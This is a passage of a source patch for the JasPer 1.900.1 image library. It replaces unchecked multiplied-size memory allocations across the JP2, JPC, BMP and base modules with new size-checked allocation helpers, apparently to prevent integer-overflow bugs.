+		errno = ENOMEM;
+		return NULL;
 	}
-	memset(ptr, 0, n);
+
+	return jas_alloc2(a*b, c);
+}
+
+void *jas_calloc(size_t nmemb, size_t size)
+{
+	void *ptr;
+
+	ptr = jas_alloc2(nmemb, size);
+	if (ptr)
+		memset(ptr, 0, nmemb*size);
 	return ptr;
 }
 
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_seq.c jasper-1.900.1/src/libjasper/base/jas_seq.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_seq.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_seq.c	2009-10-22 10:27:45.000000000 +0200
@@ -114,7 +114,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	matrix->datasize_ = numrows * numcols;
 
 	if (matrix->maxrows_ > 0) {
-		if (!(matrix->rows_ = jas_malloc(matrix->maxrows_ *
+		if (!(matrix->rows_ = jas_alloc2(matrix->maxrows_,
 		  sizeof(jas_seqent_t *)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -122,7 +122,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	}
 
 	if (matrix->datasize_ > 0) {
-		if (!(matrix->data_ = jas_malloc(matrix->datasize_ *
+		if (!(matrix->data_ = jas_alloc2(matrix->datasize_,
 		  sizeof(jas_seqent_t)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -220,7 +220,7 @@ void jas_matrix_bindsub(jas_matrix_t *ma
 	mat0->numrows_ = r1 - r0 + 1;
 	mat0->numcols_ = c1 - c0 + 1;
 	mat0->maxrows_ = mat0->numrows_;
-	mat0->rows_ = jas_malloc(mat0->maxrows_ * sizeof(jas_seqent_t *));
+	mat0->rows_ = jas_alloc2(mat0->maxrows_, sizeof(jas_seqent_t *));
 	for (i = 0; i < mat0->numrows_; ++i) {
 		mat0->rows_[i] = mat1->rows_[r0 + i] + c0;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
@@ -212,7 +212,7 @@ jas_stream_t *jas_stream_memopen(char *b
 	if (buf) {
 		obj->buf_ = (unsigned char *) buf;
 	} else {
-		obj->buf_ = jas_malloc(obj->bufsize_ * sizeof(char));
+		obj->buf_ = jas_malloc(obj->bufsize_);
 		obj->myalloc_ = 1;
 	}
 	if (!obj->buf_) {
@@ -992,7 +992,7 @@ static int mem_resize(jas_stream_memobj_
 	unsigned char *buf;
 
 	assert(m->buf_);
-	if (!(buf = jas_realloc(m->buf_, bufsize * sizeof(unsigned char)))) {
+	if (!(buf = jas_realloc(m->buf_, bufsize))) {
 		return -1;
 	}
 	m->buf_ = buf;
diff -pruN jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c jasper-1.900.1/src/libjasper/bmp/bmp_dec.c
--- jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/bmp/bmp_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -283,7 +283,7 @@ static bmp_info_t *bmp_getinfo(jas_strea
 	}
 
 	if (info->numcolors > 0) {
-		if (!(info->palents = jas_malloc(info->numcolors *
+		if (!(info->palents = jas_alloc2(info->numcolors,
 		  sizeof(bmp_palent_t)))) {
 			bmp_info_destroy(info);
 			return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h
--- jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h	2007-01-19 22:43:04.000000000 +0100
+++ jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h	2009-10-22 10:27:45.000000000 +0200
@@ -95,6 +95,9 @@ extern "C" {
 #define	jas_free	MEMFREE
 #define	jas_realloc	MEMREALLOC
 #define	jas_calloc	MEMCALLOC
+#define jas_alloc2(a, b)	MEMALLOC((a)*(b))
+#define jas_alloc3(a, b, c)	MEMALLOC((a)*(b)*(c))
+#define jas_realloc2(p, a, b)	MEMREALLOC((p), (a)*(b))
 #endif
 
 /******************************************************************************\
@@ -115,6 +118,12 @@ void *jas_realloc(void *ptr, size_t size
 /* Allocate a block of memory and initialize the contents to zero. */
 void *jas_calloc(size_t nmemb, size_t size);
 
+/* size-checked double allocation .*/
+void *jas_alloc2(size_t, size_t);
+
+void *jas_alloc3(size_t, size_t, size_t);
+
+void *jas_realloc2(void *, size_t, size_t);
 #endif
 
 #ifdef __cplusplus
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c jasper-1.900.1/src/libjasper/jp2/jp2_cod.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_cod.c	2009-10-22 10:30:24.000000000 +0200
@@ -247,7 +247,7 @@ jp2_box_t *jp2_box_get(jas_stream_t *in)
 	box = 0;
 	tmpstream = 0;
 
-	if (!(box = jas_malloc(sizeof(jp2_box_t)))) {
+	if (!(box = jas_calloc(1, sizeof(jp2_box_t)))) {
 		goto error;
 	}
 	box->ops = &jp2_boxinfo_unk.ops;
@@ -372,7 +372,7 @@ static int jp2_bpcc_getdata(jp2_box_t *b
 	jp2_bpcc_t *bpcc = &box->data.bpcc;
 	unsigned int i;
 	bpcc->numcmpts = box->datalen;
-	if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts * sizeof(uint_fast8_t)))) {
+	if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < bpcc->numcmpts; ++i) {
@@ -416,7 +416,7 @@ static int jp2_colr_getdata(jp2_box_t *b
 		break;
 	case JP2_COLR_ICC:
 		colr->iccplen = box->datalen - 3;
-		if (!(colr->iccp = jas_malloc(colr->iccplen * sizeof(uint_fast8_t)))) {
+		if (!(colr->iccp = jas_alloc2(colr->iccplen, sizeof(uint_fast8_t)))) {
 			return -1;
 		}
 		if (jas_stream_read(in, colr->iccp, colr->iccplen) != colr->iccplen) {
@@ -453,7 +453,7 @@ static int jp2_cdef_getdata(jp2_box_t *b
 	if (jp2_getuint16(in, &cdef->numchans)) {
 		return -1;
 	}
-	if (!(cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t)))) {
+	if (!(cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t)))) {
 		return -1;
 	}
 	for (channo = 0; channo < cdef->numchans; ++channo) {
@@ -766,7 +766,7 @@ static int jp2_cmap_getdata(jp2_box_t *b
 	unsigned int i;
 
 	cmap->numchans = (box->datalen) / 4;
-	if (!(cmap->ents = jas_malloc(cmap->numchans * sizeof(jp2_cmapent_t)))) {
+	if (!(cmap->ents = jas_alloc2(cmap->numchans, sizeof(jp2_cmapent_t)))) {
 		return -1;
 	}
 	for (i = 0; i < cmap->numchans; ++i) {
@@ -828,10 +828,10 @@ static int jp2_pclr_getdata(jp2_box_t *b
 		return -1;
 	}
 	lutsize = pclr->numlutents * pclr->numchans;
-	if (!(pclr->lutdata = jas_malloc(lutsize * sizeof(int_fast32_t)))) {
+	if (!(pclr->lutdata = jas_alloc2(lutsize, sizeof(int_fast32_t)))) {
 		return -1;
 	}
-	if (!(pclr->bpc = jas_malloc(pclr->numchans * sizeof(uint_fast8_t)))) {
+	if (!(pclr->bpc = jas_alloc2(pclr->numchans, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < pclr->numchans; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c jasper-1.900.1/src/libjasper/jp2/jp2_dec.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -336,7 +336,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 	}
 
 	/* Allocate space for the channel-number to component-number LUT. */
-	if (!(dec->chantocmptlut = jas_malloc(dec->numchans * sizeof(uint_fast16_t)))) {
+	if (!(dec->chantocmptlut = jas_alloc2(dec->numchans, sizeof(uint_fast16_t)))) {
 		jas_eprintf("error: no memory\n");
 		goto error;
 	}
@@ -354,7 +354,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 			if (cmapent->map == JP2_CMAP_DIRECT) {
 				dec->chantocmptlut[channo] = channo;
 			} else if (cmapent->map == JP2_CMAP_PALETTE) {
-				lutents = jas_malloc(pclrd->numlutents * sizeof(int_fast32_t));
+				lutents = jas_alloc2(pclrd->numlutents, sizeof(int_fast32_t));
 				for (i = 0; i < pclrd->numlutents; ++i) {
 					lutents[i] = pclrd->lutdata[cmapent->pcol + i * pclrd->numchans];
 				}
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c jasper-1.900.1/src/libjasper/jp2/jp2_enc.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -191,7 +191,7 @@ int sgnd;
 		}
 		bpcc = &box->data.bpcc;
 		bpcc->numcmpts = jas_image_numcmpts(image);
-		if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts *
+		if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts,
 		  sizeof(uint_fast8_t)))) {
 			goto error;
 		}
@@ -285,7 +285,7 @@ int sgnd;
 		}
 		cdef = &box->data.cdef;
 		cdef->numchans = jas_image_numcmpts(image);
-		cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t));
+		cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t));
 		for (i = 0; i < jas_image_numcmpts(image); ++i) {
 			cdefchanent = &cdef->ents[i];
 			cdefchanent->channo = i;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c jasper-1.900.1/src/libjasper/jpc/jpc_cs.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_cs.c	2009-10-22 10:27:45.000000000 +0200
@@ -502,7 +502,7 @@ static int jpc_siz_getparms(jpc_ms_t *ms
 	  !siz->tileheight || !siz->numcomps) {
 		return -1;
 	}
-	if (!(siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t)))) {
+	if (!(siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t)))) {
 		return -1;
 	}
 	for (i = 0; i < siz->numcomps; ++i) {
@@ -986,7 +986,7 @@ static int jpc_qcx_getcompparms(jpc_qcxc
 		jpc_qcx_destroycompparms(compparms);
                 return -1;
         } else if (compparms->numstepsizes > 0) {
-		compparms->stepsizes = jas_malloc(compparms->numstepsizes *
+		compparms->stepsizes = jas_alloc2(compparms->numstepsizes,
 		  sizeof(uint_fast16_t));
 		assert(compparms->stepsizes);
 		for (i = 0; i < compparms->numstepsizes; ++i) {
@@ -1094,7 +1094,7 @@ static int jpc_ppm_getparms(jpc_ms_t *ms
 
 	ppm->len = ms->len - 1;
 	if (ppm->len > 0) {
-		if (!(ppm->data = jas_malloc(ppm->len * sizeof(unsigned char)))) {
+		if (!(ppm->data = jas_malloc(ppm->len))) {
 			goto error;
 		}
 		if (JAS_CAST(uint, jas_stream_read(in, ppm->data, ppm->len)) != ppm->len) {
@@ -1163,7 +1163,7 @@ static int jpc_ppt_getparms(jpc_ms_t *ms
 	}
 	ppt->len = ms->len - 1;
 	if (ppt->len > 0) {
-		if (!(ppt->data = jas_malloc(ppt->len * sizeof(unsigned char)))) {
+		if (!(ppt->data = jas_malloc(ppt->len))) {
 			goto error;
 		}
 		if (jas_stream_read(in, (char *) ppt->data, ppt->len) != JAS_CAST(int, ppt->len)) {
@@ -1226,7 +1226,7 @@ static int jpc_poc_getparms(jpc_ms_t *ms
 	uint_fast8_t tmp;
 	poc->numpchgs = (cstate->numcomps > 256) ? (ms->len / 9) :
 	  (ms->len / 7);
-	if (!(poc->pchgs = jas_malloc(poc->numpchgs * sizeof(jpc_pocpchg_t)))) {
+	if (!(poc->pchgs = jas_alloc2(poc->numpchgs, sizeof(jpc_pocpchg_t)))) {
 		goto error;
 	}
 	for (pchgno = 0, pchg = poc->pchgs; pchgno < poc->numpchgs; ++pchgno,
@@ -1331,7 +1331,7 @@ static int jpc_crg_getparms(jpc_ms_t *ms
 	jpc_crgcomp_t *comp;
 	uint_fast16_t compno;
 	crg->numcomps = cstate->numcomps;
-	if (!(crg->comps = jas_malloc(cstate->numcomps * sizeof(uint_fast16_t)))) {
+	if (!(crg->comps = jas_alloc2(cstate->numcomps, sizeof(uint_fast16_t)))) {
 		return -1;
 	}
 	for (compno = 0, comp = crg->comps; compno < cstate->numcomps;
@@ -1470,7 +1470,7 @@ static int jpc_unk_getparms(jpc_ms_t *ms
 	cstate = 0;
 
 	if (ms->len > 0) {
-		if (!(unk->data = jas_malloc(ms->len * sizeof(unsigned char)))) {
+		if (!(unk->data = jas_malloc(ms->len))) {
 			return -1;
 		}
 		if (jas_stream_read(in, (char *) unk->data, ms->len) != JAS_CAST(int, ms->len)) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c jasper-1.900.1/src/libjasper/jpc/jpc_dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_dec.c	2009-10-22 10:30:50.000000000 +0200
@@ -449,7 +449,7 @@ static int jpc_dec_process_sot(jpc_dec_t
 
 	if (dec->state == JPC_MH) {
 
-		compinfos = jas_malloc(dec->numcomps * sizeof(jas_image_cmptparm_t));
+		compinfos = jas_alloc2(dec->numcomps, sizeof(jas_image_cmptparm_t));
 		assert(compinfos);
 		for (cmptno = 0, cmpt = dec->cmpts, compinfo = compinfos;
 		  cmptno < dec->numcomps; ++cmptno, ++cmpt, ++compinfo) {
@@ -692,7 +692,7 @@ static int jpc_dec_tileinit(jpc_dec_t *d
 			tile->realmode = 1;
 		}
 		tcomp->numrlvls = ccp->numrlvls;
-		if (!(tcomp->rlvls = jas_malloc(tcomp->numrlvls *
+		if (!(tcomp->rlvls = jas_alloc2(tcomp->numrlvls,
 		  sizeof(jpc_dec_rlvl_t)))) {
 			return -1;
 		}
@@ -764,7 +764,7 @@ rlvl->bands = 0;
 			  rlvl->cbgheightexpn);
 
 			rlvl->numbands = (!rlvlno) ? 1 : 3;
-			if (!(rlvl->bands = jas_malloc(rlvl->numbands *
+			if (!(rlvl->bands = jas_alloc2(rlvl->numbands,
 			  sizeof(jpc_dec_band_t)))) {
 				return -1;
 			}
@@ -797,7 +797,7 @@ rlvl->bands = 0;
 
 				assert(rlvl->numprcs);
 
-				if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_dec_prc_t)))) {
+				if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_dec_prc_t)))) {
 					return -1;
 				}
 
@@ -834,7 +834,7 @@ rlvl->bands = 0;
 			if (!(prc->numimsbstagtree = jpc_tagtree_create(prc->numhcblks, prc->numvcblks))) {
 				return -1;
 			}
-			if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_dec_cblk_t)))) {
+			if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_dec_cblk_t)))) {
 				return -1;
 			}
 
@@ -1181,7 +1181,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		return -1;
 	}
 
-	if (!(dec->cmpts = jas_malloc(dec->numcomps * sizeof(jpc_dec_cmpt_t)))) {
+	if (!(dec->cmpts = jas_alloc2(dec->numcomps, sizeof(jpc_dec_cmpt_t)))) {
 		return -1;
 	}
 
@@ -1204,7 +1204,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 	dec->numhtiles = JPC_CEILDIV(dec->xend - dec->tilexoff, dec->tilewidth);
 	dec->numvtiles = JPC_CEILDIV(dec->yend - dec->tileyoff, dec->tileheight);
 	dec->numtiles = dec->numhtiles * dec->numvtiles;
-	if (!(dec->tiles = jas_malloc(dec->numtiles * sizeof(jpc_dec_tile_t)))) {
+	if (!(dec->tiles = jas_calloc(dec->numtiles, sizeof(jpc_dec_tile_t)))) {
 		return -1;
 	}
 
@@ -1228,7 +1228,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		tile->pkthdrstreampos = 0;
 		tile->pptstab = 0;
 		tile->cp = 0;
-		if (!(tile->tcomps = jas_malloc(dec->numcomps *
+		if (!(tile->tcomps = jas_calloc(dec->numcomps,
 		  sizeof(jpc_dec_tcomp_t)))) {
 			return -1;
 		}
@@ -1489,7 +1489,7 @@ static jpc_dec_cp_t *jpc_dec_cp_create(u
 	cp->numlyrs = 0;
 	cp->mctid = 0;
 	cp->csty = 0;
-	if (!(cp->ccps = jas_malloc(cp->numcomps * sizeof(jpc_dec_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcomps, sizeof(jpc_dec_ccp_t)))) {
 		return 0;
 	}
 	if (!(cp->pchglist = jpc_pchglist_create())) {
@@ -2048,7 +2048,7 @@ jpc_streamlist_t *jpc_streamlist_create(
 	}
 	streamlist->numstreams = 0;
 	streamlist->maxstreams = 100;
-	if (!(streamlist->streams = jas_malloc(streamlist->maxstreams *
+	if (!(streamlist->streams = jas_alloc2(streamlist->maxstreams,
 	  sizeof(jas_stream_t *)))) {
 		jas_free(streamlist);
 		return 0;
@@ -2068,8 +2068,8 @@ int jpc_streamlist_insert(jpc_streamlist
 	/* Grow the array of streams if necessary. */
 	if (streamlist->numstreams >= streamlist->maxstreams) {
 		newmaxstreams = streamlist->maxstreams + 1024;
-		if (!(newstreams = jas_realloc(streamlist->streams,
-		  (newmaxstreams + 1024) * sizeof(jas_stream_t *)))) {
+		if (!(newstreams = jas_realloc2(streamlist->streams,
+		  (newmaxstreams + 1024), sizeof(jas_stream_t *)))) {
 			return -1;
 		}
 		for (i = streamlist->numstreams; i < streamlist->maxstreams; ++i) {
@@ -2155,8 +2155,7 @@ int jpc_ppxstab_grow(jpc_ppxstab_t *tab,
 {
 	jpc_ppxstabent_t **newents;
 	if (tab->maxents < maxents) {
-		newents = (tab->ents) ? jas_realloc(tab->ents, maxents *
-		  sizeof(jpc_ppxstabent_t *)) : jas_malloc(maxents * sizeof(jpc_ppxstabent_t *));
+		newents = jas_realloc2(tab->ents, maxents, sizeof(jpc_ppxstabent_t *));
 		if (!newents) {
 			return -1;
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c jasper-1.900.1/src/libjasper/jpc/jpc_enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -403,7 +403,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 		vsteplcm *= jas_image_cmptvstep(image, cmptno);
 	}
 
-	if (!(cp->ccps = jas_malloc(cp->numcmpts * sizeof(jpc_enc_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_ccp_t)))) {
 		goto error;
 	}
 	for (cmptno = 0, ccp = cp->ccps; cmptno < JAS_CAST(int, cp->numcmpts); ++cmptno,
@@ -656,7 +656,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 
 	if (ilyrrates && numilyrrates > 0) {
 		tcp->numlyrs = numilyrrates + 1;
-		if (!(tcp->ilyrrates = jas_malloc((tcp->numlyrs - 1) *
+		if (!(tcp->ilyrrates = jas_alloc2((tcp->numlyrs - 1),
 		  sizeof(jpc_fix_t)))) {
 			goto error;
 		}
@@ -940,7 +940,7 @@ startoff = jas_stream_getrwcount(enc->ou
 	siz->tilewidth = cp->tilewidth;
 	siz->tileheight = cp->tileheight;
 	siz->numcomps = cp->numcmpts;
-	siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t));
+	siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t));
 	assert(siz->comps);
 	for (i = 0; i < JAS_CAST(int, cp->numcmpts); ++i) {
 		siz->comps[i].prec = cp->ccps[i].prec;
@@ -977,7 +977,7 @@ startoff = jas_stream_getrwcount(enc->ou
 		return -1;
 	}
 	crg = &enc->mrk->parms.crg;
-	crg->comps = jas_malloc(crg->numcomps * sizeof(jpc_crgcomp_t));
+	crg->comps = jas_alloc2(crg->numcomps, sizeof(jpc_crgcomp_t));
 	if (jpc_putms(enc->out, enc->cstate, enc->mrk)) {
 		jas_eprintf("cannot write CRG marker\n");
 		return -1;
@@ -1955,7 +1955,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	tile->mctid = cp->tcp.mctid;
 
 	tile->numlyrs = cp->tcp.numlyrs;
-	if (!(tile->lyrsizes = jas_malloc(tile->numlyrs *
+	if (!(tile->lyrsizes = jas_alloc2(tile->numlyrs,
 	  sizeof(uint_fast32_t)))) {
 		goto error;
 	}
@@ -1964,7 +1964,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	}
 
 	/* Allocate an array for the per-tile-component information. */
-	if (!(tile->tcmpts = jas_malloc(cp->numcmpts * sizeof(jpc_enc_tcmpt_t)))) {
+	if (!(tile->tcmpts = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_tcmpt_t)))) {
 		goto error;
 	}
 	/* Initialize a few members critical for error recovery. */
@@ -2110,7 +2110,7 @@ static jpc_enc_tcmpt_t *tcmpt_create(jpc
 	  jas_seq2d_ystart(tcmpt->data), jas_seq2d_xend(tcmpt->data),
 	  jas_seq2d_yend(tcmpt->data), bandinfos);
 
-	if (!(tcmpt->rlvls = jas_malloc(tcmpt->numrlvls * sizeof(jpc_enc_rlvl_t)))) {
+	if (!(tcmpt->rlvls = jas_alloc2(tcmpt->numrlvls, sizeof(jpc_enc_rlvl_t)))) {
 		goto error;
 	}
 	for (rlvlno = 0, rlvl = tcmpt->rlvls; rlvlno < tcmpt->numrlvls;
@@ -2213,7 +2213,7 @@ static jpc_enc_rlvl_t *rlvl_create(jpc_e
 	rlvl->numvprcs = JPC_FLOORDIVPOW2(brprcbry - tlprctly, rlvl->prcheightexpn);
 	rlvl->numprcs = rlvl->numhprcs * rlvl->numvprcs;
 
-	if (!(rlvl->bands = jas_malloc(rlvl->numbands * sizeof(jpc_enc_band_t)))) {
+	if (!(rlvl->bands = jas_alloc2(rlvl->numbands, sizeof(jpc_enc_band_t)))) {
 		goto error;
 	}
 	for (bandno = 0, band = rlvl->bands; bandno < rlvl->numbands;
@@ -2290,7 +2290,7 @@ if (bandinfo->xstart != bandinfo->xend &
 	band->synweight = bandinfo->synenergywt;
 
 if (band->data) {
-	if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_enc_prc_t)))) {
+	if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_enc_prc_t)))) {
 		goto error;
 	}
 	for (prcno = 0, prc = band->prcs; prcno < rlvl->numprcs; ++prcno,
@@ -2422,7 +2422,7 @@ if (!rlvlno) {
 			goto error;
 		}
 
-		if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_enc_cblk_t)))) {
+		if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_enc_cblk_t)))) {
 			goto error;
 		}
 		for (cblkno = 0, cblk = prc->cblks; cblkno < prc->numcblks;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c	2009-10-22 10:27:45.000000000 +0200
@@ -118,7 +118,7 @@ jpc_mqdec_t *jpc_mqdec_create(int maxctx
 	mqdec->in = in;
 	mqdec->maxctxs = maxctxs;
 	/* Allocate memory for the per-context state information. */
-	if (!(mqdec->ctxs = jas_malloc(mqdec->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqdec->ctxs = jas_alloc2(mqdec->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 	/* Set the current context to the first context. */
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c	2009-10-22 10:27:45.000000000 +0200
@@ -197,7 +197,7 @@ jpc_mqenc_t *jpc_mqenc_create(int maxctx
 	mqenc->maxctxs = maxctxs;
 
 	/* Allocate memory for the per-context state information. */
-	if (!(mqenc->ctxs = jas_malloc(mqenc->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqenc->ctxs = jas_alloc2(mqenc->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c	2009-10-22 10:27:45.000000000 +0200
@@ -321,7 +321,7 @@ void jpc_qmfb_split_row(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -389,7 +389,7 @@ void jpc_qmfb_split_col(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -460,7 +460,7 @@ void jpc_qmfb_split_colgrp(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -549,7 +549,7 @@ void jpc_qmfb_split_colres(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -633,7 +633,7 @@ void jpc_qmfb_join_row(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -698,7 +698,7 @@ void jpc_qmfb_join_col(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -766,7 +766,7 @@ void jpc_qmfb_join_colgrp(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -852,7 +852,7 @@ void jpc_qmfb_join_colres(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * numcols * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc3(bufsize, numcols, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c	2009-10-22 10:27:45.000000000 +0200
